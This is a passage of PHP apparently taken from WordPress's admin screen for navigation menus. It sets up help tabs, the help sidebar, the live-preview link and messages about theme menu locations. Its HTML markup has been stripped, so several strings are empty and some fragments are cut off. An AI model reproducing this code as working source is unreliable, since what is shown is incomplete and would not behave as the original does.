=> array( 'updated' ), 'dismissible' => true, ) ); } if ( ! $locations_screen ) : // Main tab. $overview = '

' . __( 'This screen is used for managing your navigation menus.' ) . '

'; $overview .= '

' . sprintf( /* translators: 1: URL to Widgets screen, 2 and 3: The names of the default themes. */ __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a “Navigation Menu” widget on the Widgets screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Twenty', 'Twenty Twenty-One' ) . '

'; $overview .= '

' . __( 'From this screen you can:' ) . '

'; $overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $menu_management = '

' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '

'; $menu_management .= ''; $menu_management .= '

' . __( 'You can assign theme locations to individual menus by selecting the desired settings at the bottom of the menu editor. To assign menus to all theme locations at once, visit the Manage Locations tab at the top of the screen.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'menu-management', 'title' => __( 'Menu Management' ), 'content' => $menu_management, ) ); $editing_menus = '

' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '

'; $editing_menus .= '

' . __( 'Clicking the arrow to the right of any menu item in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '

'; $editing_menus .= ''; get_current_screen()->add_help_tab( array( 'id' => 'editing-menus', 'title' => __( 'Editing Menus' ), 'content' => $editing_menus, ) ); else : // Locations tab. $locations_overview = '

' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '

'; $locations_overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'locations-overview', 'title' => __( 'Overview' ), 'content' => $locations_overview, ) ); endif; get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Menus' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Get the admin header. require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'menu_locations' ) : array( 'panel' => 'nav_menus' ); printf( ' %2$s', esc_url( add_query_arg( array( array( 'autofocus' => $focus ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); endif; $nav_tab_active_class = ''; $nav_aria_current = ''; if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' !== $_GET['action'] ) { $nav_tab_active_class = ' nav-tab-active'; $nav_aria_current = ' aria-current="page"'; } ?>
' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '

'; } else { echo '

' . sprintf( /* translators: %s: Number of menus. */ _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '

'; } ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>